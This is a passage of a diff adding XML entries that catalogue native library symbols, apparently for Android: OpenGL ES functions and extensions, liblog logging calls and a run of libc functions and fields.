+ <method abstract="false" deprecated="not deprecated" final="true" name="glAttachShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteTextures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPixelStorei" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindVertexArrayOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetPerfMonitorGroupsAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetTexturesQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexSubImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetPerfMonitorCounterDataAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribPointerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBufferData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTestFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteVertexArraysOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetPerfMonitorCountersAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDisable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetRenderbufferParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompileShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexSubImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEGLImageTargetTexture2DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetError" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSampleCoverage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferRenderbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilOpSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderSource" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetPerfMonitorCounterStringAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glReadPixels" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCoverageOperationNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribPointer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenPerfMonitorsAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilFuncSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCheckFramebufferStatus" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendColor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCoverageMaskNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMultiDrawArraysEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFloatv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteFramebuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFramebufferAttachmentParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glShaderBinary" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClear" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEnable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearColor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsRenderbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDetachShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetAttachedShaders" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glRenderbufferStorageMultisampleIMG" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsEnabled" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramBinaryOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glColorMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetRenderbuffersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCreateShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEndTilingQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDisableDriverControlQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEnableVertexAttribArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramBinaryOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilOp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFlush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenFramebuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCreateProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStartTilingQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteFencesNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBooleanv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUseProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderPrecisionFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEndPerfMonitorAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glValidateProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFuncSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glActiveTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEGLImageTargetRenderbufferStorageOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUnmapBufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenRenderbuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferPointervOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilMaskSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindRenderbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDiscardFramebufferEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthRangef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetFramebuffersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib3f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearDepthf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMapBufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFrontFace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenTextures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFenceivNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glHint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawArrays" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glScissor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLinkProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetTexLevelParameterivQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenVertexArraysOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexSubImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtIsProgramBinaryQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindAttribLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetDriverControlsQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeletePerfMonitorsAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderInfoLog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="liblog.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="__android_log_is_loggable_len" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__android_log_is_loggable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__android_log_assert" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__android_log_print" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__android_log_write" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__android_log_vprint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBLOG" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="LIBLOG_O" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="LIBLOG_M" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libc.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fpclassifyd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strlen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vfprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkdirat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sched_setparam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="srandom" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fpclassifyf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="in6addr_any" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="epoll_create1" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="grantpt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutex_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="settimeofday" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strncasecmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cfsetispeed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutex_unlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sem_unlink" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fpclassifyl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vasprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__strlen_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpriority" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtoll_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="geteuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strndup" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkstemp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__dn_comp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswprint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="prctl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setpwent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="posix_fadvise64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wctype" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__sendto_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="towctrans_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__freadable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="get_nprocs_conf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswalnum_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutexattr_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__pthread_cleanup_push" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setservent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_tolower" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fstatvfs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getrlimit64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="malloc_usable_size" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wmemcmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="closedir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setsockopt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswxdigit_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkfifoat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clearerr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="localtime_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fgetln" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="psiginfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fsetpos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigsetmask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getaddrinfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_getname_np" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcscoll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__dn_skipname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dup" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fflush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="stderr" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="sys_signame" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getitimer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_rdlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fstat64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isnan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getservbyport" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__loc_aton" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getnetbyaddr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setmntent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_dnok" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_spin_unlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="epoll_pwait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="localeconv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="putc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="shutdown" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cfsetospeed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fchmodat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="if_freenameindex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="in6addr_loopback" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
